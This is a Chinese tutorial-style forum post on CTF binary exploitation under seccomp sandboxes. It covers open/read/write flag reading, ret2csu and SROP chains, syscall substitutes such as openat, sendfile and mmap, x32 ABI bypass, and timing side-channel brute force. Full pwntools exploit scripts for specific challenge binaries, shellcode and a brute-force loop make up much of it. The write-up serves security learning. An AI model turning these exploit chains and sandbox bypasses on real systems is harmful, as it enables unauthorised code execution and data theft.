找回密码
 立即注册
首页 业界区 安全 ORW与沙箱绕过

ORW与沙箱绕过

蛟当罟 2026-1-15 00:40:00
沙箱装载一般是用prctl或seccomp函数装载,可以看看这两篇文章Linux prctl详解与进程重命名,Seccomp、BPF与容器安全我主要讲讲绕过的方法及部分限制下的运用(后面也应该会讲讲原理与出题);
沙箱分为白箱(允许部分系统调用)和黑箱(禁止部分系统调用)通过seccomp-tools工具利用seccomp-tools dump ./(对应文件名) ,查看,注意是要装载了沙箱才能用这个看出来,否则看不出来。
关于文件描述符,正常0是键盘输入,1是屏幕输出,2是标准错误,2以上就是文件的。
一般orw就是利用open,read,write三个函数,实现打开flag,往内存写入flag,从内存读取flag的任务。使用orw主要情况是开了沙箱禁用了系统调用,所以不能像之前一样getshell后直接cat flag了。并且ctf比赛也只需要拿到flag就可以了,所以orw就替system承担了拿到flag的任务,先看这三个函数的原型

  • open :int open(const char *pathname, int flags); int open(const char *pathname, int flags,mode_t mode);可以看见有两个原型,不过实际上就是第二个原型,大概就是因为glibc提供了一个变参函数来处理我们输入的open,最终也会转化为第二个原型。不过我们读取flag不需要用到第三个参数,因为第三个参数是假如选择创建文件,那么要指定创建文件的权限,一般不会用这个。第一个参数是flag的路径,我们一般填./flag或者flag或者/flag,第二个是以什么形式打开,我们填0(只读形式就可以了)所以我们只需要调用出像open('./flag',0)就完成了open的任务
  • read:read(int fd, void *buf, size_t count);第一个参数是文件描述符,表示从哪输入,第二个参数是一个指针,指向我们要写入的地址,第三个参数是写入的大小。一般我们在open的rax已经有了打开文件的文件描述符,不过打rop链的时候不方便用,所以还是遵循一般规律,一般3是新打开的文件描述符所以我们调用出像read(3,addr,0x100)就算完成了read的任务
  • write:write(int fd, const void *buf, size_t count);第一个参数是文件描述符,表示从哪输出,第二个参数是一个指针,指向我们要输出的地址,第三个参数是输出的大小。我们一般把第一个参数设置为1或者2,这样flag就会打印在屏幕上,所以我们只需要调用出像write(1,addr,0x100)就算完成了write的任务
orw的任务都完成了之后,我们的flag就出现在屏幕上了。下面我们看例题
PCTF2025的week2-sandbox_err

先checksec及seccomp-tools看一下

首先没有canary,但有pie保护和full relro保护,再看沙盒,第一个是检查我们的架构是不是64位的,这个就会影响后面的特殊情况,第三条就是读取系统调用号。第四条就是检测系统调用号的大小,这个也会影响我们后面特殊情况下的利用,第五个是长度检测,第六个是禁用shell,后面就不解释了。但注意,这里不是每个选项都开了沙盒的,一定要选到开了沙盒的选项才能看见。接下来去ida看看

一个菜单程序,选1给一个栈地址,选2给栈溢出,选3给一个16字节的格式化字符串机会,选四先装沙盒再打开shell(shell会被沙盒禁用,没用)。这里选3和1没有开沙盒,2和4开了。这里大方向上思路有两个,第一个选择格式化字符串改选2后函数的返回地址(尽管full relro了但我并不改got表)第二个选择格式化字符串泄露pie和libc基地址后打orw。这里我们看orw,这里除了o,rw都是三参数函数,意味着需要控制rdi,rsi,rdx但这里没有找到控制rdx的gadget,libc里也没有,那怎么办呢?这里又有两种方法

  • 这里因为我们有libc基地址,所以可以找控制rax的gadget与syscall,然后就可以通过srop链实现orw
  • 或者我们通过ret2csu实现控制rdx
ret2csu解法

脚本如下
  1. from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')flag = 1if flag:    p = remote('challenge.imxbt.cn',32084)else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()leak = lambda name,addr :log.success(name+"--->"+hex(addr))def csu(rdi,rsi,rdx,got):        pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)        return paydef dbg():    gdb.attach(p)    pause()ru(b"Make your choice : \n")sl(b'3')ru(b"I believe in miracles.\n")sl(b'%21$pk%17$pko')leak=ru(b'o').strip().decode()pie,libcbase,c=leak.split('\n')[0].split('k')pie=int(pie,16)-0x160bprint(hex(pie))csugo=pie+0x1690csuin=pie+0x16A6rdi=pie+0x16b3bss=pie+0x4060ru(b"Make your choice : \n")sl(b'2')ru(b"You chose getshell!\n")libcbase=int(libcbase,16)-0x2a1ca'''puts=pie+elf.sym['puts']put=pie+elf.got['puts']back=pie+0x15b3pay=0x68*b'b'+flat(rdi,put,puts,back)sd(pay)ru(b'congratulations!\n')libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']print(hex(libcbase))#第二种泄露libc的方法'''print(hex(libcbase))read=pie+0x3FB0#这是read函数got表的地址openn=libcbase+libc.sym['open']write=libcbase+libc.sym['write']rcx=libcbase+0xa877ersi=libcbase+next(libc.search(asm('pop rsi;ret;')))pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,bss,rsi,0,openn)pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)sd(pay)ru(b'congratulations!\n')pay=b'./flag\x00\x00'+p64(openn)+p64(write)sd(pay)ti()
复制代码
效果如图

不过这里不知道为什么文件描述符是6,正常应该是3的,注意一下。
SROP链与orw

基础Linux常用系统调用号
其实我们的srop链也是可以完成orw的,但需要的空间比较大,下面我主要讲怎么把这个链拼起来。比如之前那道srop的静态编译题,当时虽然我也用了两个srop结构,不过有点太巧了,就是一个read然后再跳到read写入的地方执行,但假如要连续执行三个函数(orw)就不好办了,下面我们看看一次read写入后直接实现orw的srop链。
一道64位的静态编译题

先看题

很明确的一题,这里我们用srop链实现orw,确定rsp的位置的时候就是要先写出框架,然后通过调试确定rsp的地址。脚本像这样
大概就是首先通过一个Sigreturn调用出read往bss段写入我们orw的SigreturnFrame结构,然后控制rsp指向第一个open的Sigreturn结构开始的地方(pop rax;ret;),接下来就是调试看剩下两个结构开始的地方了。
  1. from pwn import *import syscontext.log_level='debug'context.arch='amd64'flag = 0elf=ELF('./pwn')libc = ELF('./libc.so.6')if flag:    p = remote('1')else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def dbg():    gdb.attach(p)    pause()ru(b"where is my system_x64?\n")rax=0x46b9f8end=0x45bac5bss=0x6C1C60srop=SigreturnFrame()srop.rax=0srop.rdi=0srop.rsi=bss+0x400srop.rdx=0x400srop.rsp=bss+0x408srop.rip=endsrop1=SigreturnFrame()srop1.rax=2srop1.rdi=bss+0x400srop1.rsi=0srop1.rsp=0srop1.rdx=0srop1.rip=endsrop2=SigreturnFrame()srop2.rax=0srop2.rdi=3srop2.rsi=bsssrop2.rdx=0x100srop2.rsp=0srop2.rip=endsrop3=SigreturnFrame()srop3.rax=1srop3.rdi=1srop3.rsi=bsssrop3.rdx=0x100srop3.rip=endpay=0x58*b'b'+flat(rax,0xf,end)+bytes(srop)sl(pay)pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)dbg()sd(pay)ti()
复制代码
这里我们就需要具体动态调试看具体位置了,我们调试一下

这里我们可以看见第二个结构的开始位置是0x6c2178,第三个结构的开始位置同理可得是0x6c2288,所以我们就分别把第一,第二个结构的rsp填上第二,第三个结构的开始位置,这样我们的srop链就完成了。完整脚本如下
  1. from pwn import *import syscontext.log_level='debug'context.arch='amd64'flag = 0elf=ELF('./pwn')libc = ELF('./libc.so.6')if flag:    p = remote('1')else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def dbg():    gdb.attach(p)    pause()ru(b"where is my system_x64?\n")rax=0x46b9f8end=0x45bac5bss=0x6C1C60srop=SigreturnFrame()srop.rax=0srop.rdi=0srop.rsi=bss+0x400srop.rdx=0x400srop.rsp=bss+0x408srop.rip=endsrop1=SigreturnFrame()srop1.rax=2srop1.rdi=bss+0x400srop1.rsi=0srop1.rsp=0x6c2178srop1.rdx=0srop1.rip=endsrop2=SigreturnFrame()srop2.rax=0srop2.rdi=3srop2.rsi=bsssrop2.rdx=0x100srop2.rsp=0x6c2288srop2.rip=endsrop3=SigreturnFrame()srop3.rax=1srop3.rdi=1srop3.rsi=bsssrop3.rdx=0x100srop3.rip=endpay=0x58*b'b'+flat(rax,0xf,end)+bytes(srop)sl(pay)pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)dbg()sd(pay)ti()
复制代码
当然这里也不仅仅可以用orw写,我们系统调用也有openat,sendfile,mmap,以及mprotect。
PCTF2025的week2-sandbox_err的SROP链解法

接下来我们继续写一下刚才的沙盒,用srop写也是一样,不过我们控制rax的gadget与syscall要在libc里面找(这个是能找到的,syscall可以gdb里用search -x 0f05c3找),还有一个要注意的就是这题开了pie保护,不能直接用调试里面的那个地址了,但是我们可以算距离第一个pop rax;ret;的偏移。
脚本如下
  1. from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')flag = 1if flag:    p = remote('challenge.imxbt.cn',31611)else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()leak = lambda name,addr :log.success(name+"--->"+hex(addr))def csu(rdi,rsi,rdx,got):        pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)        return paydef dbg():    gdb.attach(p)    pause()ru(b"Make your choice : \n")sl(b'3')ru(b"I believe in miracles.\n")sl(b'%21$pk%17$pko')leak=ru(b'o').strip().decode()pie,libcbase,c=leak.split('\n')[0].split('k')pie=int(pie,16)-0x160bprint(hex(pie))csugo=pie+0x1690csuin=pie+0x16A6rdi=pie+0x16b3bss=pie+0x4060ru(b"Make your choice : \n")sl(b'2')ru(b"You chose getshell!\n")libcbase=int(libcbase,16)-0x2a1caend=libcbase+0x98fb6rax=libcbase+0xdd237srop=SigreturnFrame()srop.rax=0srop.rdi=0srop.rsi=bsssrop.rdx=0x400srop.rsp=bss+0x8srop.rip=endsrop1=SigreturnFrame()srop1.rax=2srop1.rdi=bsssrop1.rsi=0srop1.rsp=bss+0x118srop1.rdx=0srop1.rip=endsrop2=SigreturnFrame()srop2.rax=0srop2.rdi=6srop2.rsi=bsssrop2.rdx=0x100srop2.rsp=bss+0x118+0x110srop2.rip=endsrop3=SigreturnFrame()srop3.rax=1srop3.rdi=1srop3.rsi=bsssrop3.rdx=0x100srop3.rip=end'''puts=pie+elf.sym['puts']put=pie+elf.got['puts']back=pie+0x15b3pay=0x68*b'b'+flat(rdi,put,puts,back)sd(pay)ru(b'congratulations!\n')libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']print(hex(libcbase))'''print(hex(libcbase))pay=0x68*b'b'+flat(rax,0xf,end)+bytes(srop)sd(pay)ru(b'congratulations!\n')pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)sd(pay)ti()
复制代码
效果如下

这两种都感觉可以吧,我个人目前感觉可能srop好用一点?主要是它几乎能控制所有寄存器了,而且srop链也不一定要用到底,也可以用一半然后再用不在系统调用里的函数,感觉灵活一点。
缺R:pread64或sendfile或mmap

sendflie在32位下的系统调用号为0xbb,64位下为0x28
sendfile函数的作用就是把一个文件的内容发送到另一个文件,但我们的屏幕输出也是一个文件,所以这个函数相当于集成了rw的任务。其函数原型为senfile(int out_fd,int in_fd,off_t* offset,size_t count)其中out_fd是输出文件的文件描述符,in_fd是输入文件的文件描述符,off_t* offset是从文件哪里开始读取,size_t count是读取大小。一般设置为sendflie(1,3,0,0x100)其中1是打印到屏幕,3是flag的描述符(大部分情况是3,但不一定),0是从文件开头开始读取,0x100是读取大小(可以随便设,但最好不要小于0x20)。因为他需要四个参数,而正常是没有控制四个参数的gadget的,所以一般如果是一般rop链的orw(除了srop)不会使用这个函数,一般在写shellcode时使用。
pread64跟read函数很像,多了第四个参数偏移量,感觉没那么稳定了。
mmap函数的原型如下mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);第一个参数是地址(必须是内存页的起始地址,地址后三位位000),第二个参数是大小(要为0x1000的整数倍)第三给参数是给的权限,一般给1(可读),第四个参数是一个性质的标志,一般当read用就写0x11(共享映射及固定地址),第五个参数是文件描述符不解释了(一般是3),最后一个是偏移,设0就好,一般替换orw的r就设置成mmap(addr,0x1000,1,0x11,3,0),不过这个函数要六个参数,几乎不太可能有这么多好用的gadget,所以一般在写shellcode或srop里用。
下面我们看例题
BaseCTF2024新生赛orz!

先chekcsec

开了pie没开canary,接下来放ida看看

这里我们看见用mmap函数给我们分配了一段可读可写可执行的地址并且用指针变量buf接收,看mmap的的四个参数是34,也就是32(0x20匿名映射,不会关联文件且里面内容被初始化为0)+2(0x2写时复制,不会把写的内容改到文件中)此外还有常用的就是16(0x10指定地址,因为我们写的地址不一定是实际映射的位置,要考虑很多因素,但用了这个标志的话如果能映射成功,那映射的地址就一定是我们输入的地址,不好的就是假如我们给的地址无法映射就会直接报错)接下来是我们read函数往buf中写内容,后面是return回buf的地方执行。
也就是我们只需要写shellcode就可以了,接下来我们看沙盒

可以看见把orw全禁了,但我们可以写shellcode,所以我们o用openat,rw用sendfile就写完了(不过这个题好像远程有问题,我就打本地了)脚本如下
  1. from pwn import *import syscontext.log_level='debug'context.arch='amd64'flag = 0elf=ELF('./pwn')libc = ELF('./libc.so.6')if flag:    p = remote('1')else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def dbg():    gdb.attach(p)    pause()ru(b"Enter your shellcode:\n")pay=asm(shellcraft.openat(-100,'./flag'))+asm(shellcraft.sendfile(1,3,0,0x100))sd(pay)ti()
复制代码
效果如下

缺O:openat,利用x32 ABI或利用retfq调用32位open绕过

openat函数原型为openat(int dirfd, const char *pathname, int flags, mode_t mode);其中第一个是文件描述符,表示相对路径的起始点,我们一般直接设置为-100(用补码表示负数0xffffffffffffff9c),这个的意思是当前目录下。第二个是要打开目录的文件名,第三个是打开的标志,最后一个是假如选择创建文件,那么要指定创建文件的权限,我们读取flag不用管后两个,只要设置成openat(-100, './flag\x00')就好当然里面flag也可以改成(./flag或者flag都可以)
openat在32位下系统调用号位0x127,64位下为0x101
x32 ABI比较简单就是在正常64位系统调用号后加上0x40000000就可以利用32位程序的系统调用函数主要在未检测系统调用号时使用,类似下面这样的沙盒就是进行了检测了,不能用了。
  1. 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
复制代码
retfq就是利用retf改变cs寄存器的值,让我们64位系统去以32位模式去执行函数,retf就相当于ret + pop cs(不过我还没找到题......有机会见到再补充例题,我目前汇编也不太好)
这里我们看刚才那题沙盒的csu解法用openat的脚本
  1. from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')flag = 1if flag:    p = remote('challenge.imxbt.cn',32084)else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()leak = lambda name,addr :log.success(name+"--->"+hex(addr))def csu(rdi,rsi,rdx,got):        pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)        return paydef dbg():    gdb.attach(p)    pause()ru(b"Make your choice : \n")sl(b'3')ru(b"I believe in miracles.\n")sl(b'%21$pk%17$pko')leak=ru(b'o').strip().decode()pie,libcbase,c=leak.split('\n')[0].split('k')pie=int(pie,16)-0x160bprint(hex(pie))csugo=pie+0x1690csuin=pie+0x16A6rdi=pie+0x16b3bss=pie+0x4060ru(b"Make your choice : \n")sl(b'2')ru(b"You chose getshell!\n")libcbase=int(libcbase,16)-0x2a1ca'''puts=pie+elf.sym['puts']put=pie+elf.got['puts']back=pie+0x15b3pay=0x68*b'b'+flat(rdi,put,puts,back)sd(pay)ru(b'congratulations!\n')libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']print(hex(libcbase))'''print(hex(libcbase))read=pie+0x3FB0gets=libcbase+libc.sym['gets']end=libcbase+0x98fb6openn=libcbase+libc.sym['openat']write=libcbase+libc.sym['write']puts=libcbase+libc.sym['puts']rcx=libcbase+0xa877ersi=libcbase+next(libc.search(asm('pop rsi;ret;')))rax=libcbase+0xdd237pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,0xffffffffffffff9c,rsi,bss,openn)pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)sd(pay)ru(b'congratulations!\n')pay=b'./flag\x00\x00'+p64(openn)+p64(write)sd(pay)ti()
复制代码
基本不用怎么改,就注意一下参数就可以,用srop链也同理,注意系统调用号及参数就行。
缺W:writev或puts或sendfile或侧信道爆破

writev跟write函数差不多,但是其第二个参数变成了一个二级指针,也就是说我要一个指针指向我想写入的地址才能读了(所以比较麻烦了,我要先往bss段里写入后一个bss段的地址,再用read往后一个bss段里写flag,最后把writev的第二个参数用前一个bss的地址才行),第三个参数也是变成了8字节的整数倍这个倒是影响不大(不过我实测下来感觉这个函数不是很好用)。
puts:伟大无需多言,甚至比write函数还好利用rop链调用,也比较稳定,缺点是不在系统调用里面,如果文件里没有puts需要泄露libc。
侧信道爆破:侧信道意思就是利用一些其他因素推断程序运行的情况(时间,温度,声音等)对于我们远程比赛(ctf)中,好判断的就是时间。所以我们就是在or的基础上把flag与我们预设的字符表进行逐字节比较,如果比较正确我们可以预设一个死循环让程序一直在运行,比较错误就直接退出,最后设置一个时间检测,如果超过一定时间就记住这个字符。这样就可以实现逐字节爆破,不过这是可执行shellcode的情况,我们可以直接写指令,就像网上流传的shellcode及脚本如下
cl,al,dl是rcx,rax,rdx的低八位(只能储存一个字节)
  1. mov r12, 0x67616c66    ; 将字符串 "flag" 的 ASCII 值加载到寄存器 r12 中(因为小端序所以是这样写的,倒过来读就是ascii码了)push r12               ; 将 r12 的值推送到栈上mov rdi, rsp           ; 将栈上的地址赋给寄存器 rdixor esi, esi           ; 将 esi 寄存器清零xor edx, edx           ; 将 edx 寄存器清零mov al, 2              ; 将系统调用号 2(open)加载到寄存器 al 中syscall                ; 执行系统调用 open,打开文件名为 flag 的文件mov rdi, rax           ; 将 open 返回的文件描述符赋给 rdimov rsi, 0x10700       ; 将缓冲区地址加载到 rsi(缓冲区是用于存放 flag 内容)mov dl, 0x40           ; 将读取的字节数加载到 dl(64 字节)xor rax, rax           ; 将 rax 寄存器清零syscall                ; 执行系统调用 read,读取 flag 内容到缓冲区mov dl, byte ptr [rsi+{}]  ; 将缓冲区中的某个字节加载到寄存器 dlmov cl, {}             ; 将输入参数 char 加载到寄存器 clcmp cl, dl             ; 比较寄存器 cl 和 dl 的值jz loop                ; 如果相等,跳转到 loop 标签mov al, 60             ; 将系统调用号 60(exit)加载到寄存器 al syscall                ; 执行系统调用 exitloop:jmp loop               ; 无限循环#这个代码片段中的 {} 部分是通过 format(dis,char) 动态插入的
复制代码
这两段来源于侧信道爆破
  1. flag = "" #初始化一个空的字符串来存储 flag。for i in range(len(flag),36): #从当前 flag 长度到长度 35 的范围内找到 flag 的字符    sleep(1)    log.success("flag : {}".format(flag)) #打印当前已知的 flag 内容。    for j in range(0x20,0x80): #在 ASCII 可打印字符范围内进行循环。        p = process('./pwn')        try:            exp(i,j)            p.recvline(timeout=1) #在 1 秒内没有收到数据,将抛出一个超时异常。            flag += chr(j)            s('\n')            log.success("{} pos : {} success".format(i,chr(j)))            p.close()            break #跳出当前的 for 循环,继续下一个长度的 flag 的爆破。        except:                       p.close()
复制代码
如果没有shellcode执行区可以用mprotect,如果mprotect也不能用,就要用rop链版的侧信道爆破了,这个的原理是利用strcmp函数在比较相同的时候会把rax设置为0,而在64位下系统调用0就是我们的read函数,这样就可以实现中断了,详细可以参考这篇文章侧信道攻击的一种新方式(纯ROP实现侧信道)-先知社区
sendfile:这个函数前面介绍了,可以直接把rw的任务全完成了,把sendfile设置成像sendfile(1,3,0,0x100)就好。第二个文件描述符可能会变,不一定是3。第一个如果不给标准输出也可以用2(标准错误)
这里我们看刚才那题沙盒用puts的方法,脚本如下
  1. from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')flag = 1if flag:    p = remote('challenge.imxbt.cn',32084)else:    p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()leak = lambda name,addr :log.success(name+"--->"+hex(addr))def csu(rdi,rsi,rdx,got):        pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)        return paydef dbg():    gdb.attach(p)    pause()ru(b"Make your choice : \n")sl(b'3')ru(b"I believe in miracles.\n")sl(b'%21$pk%17$pko')leak=ru(b'o').strip().decode()pie,libcbase,c=leak.split('\n')[0].split('k')pie=int(pie,16)-0x160bprint(hex(pie))csugo=pie+0x1690csuin=pie+0x16A6rdi=pie+0x16b3bss=pie+0x4060ru(b"Make your choice : \n")sl(b'2')ru(b"You chose getshell!\n")libcbase=int(libcbase,16)-0x2a1ca'''puts=pie+elf.sym['puts']put=pie+elf.got['puts']back=pie+0x15b3pay=0x68*b'b'+flat(rdi,put,puts,back)sd(pay)ru(b'congratulations!\n')libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']print(hex(libcbase))'''print(hex(libcbase))read=pie+0x3FB0end=libcbase+0x98fb6openn=libcbase+libc.sym['openat']puts=libcbase+libc.sym['puts']rcx=libcbase+0xa877ersi=libcbase+next(libc.search(asm('pop rsi;ret;')))pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,0xffffffffffffff9c,rsi,bss,openn)pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(0,0,0,0)+flat(rdi,bss+0x18,puts)sd(pay)ru(b'congratulations!\n')pay=b'./flag\x00\x00'+p64(openn)sd(pay)ti()
复制代码
效果如下

这里还有挺多方法我还没运用,后面遇到题会慢慢补上的。

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

2026-2-6 07:20:10

举报

2026-2-10 04:24:46

举报

2026-2-12 10:27:58

举报

2026-2-26 07:42:20

举报

2026-3-11 06:57:37

举报

喜欢鼓捣这些软件,现在用得少,谢谢分享!
12下一页
您需要登录后才可以回帖 登录 | 立即注册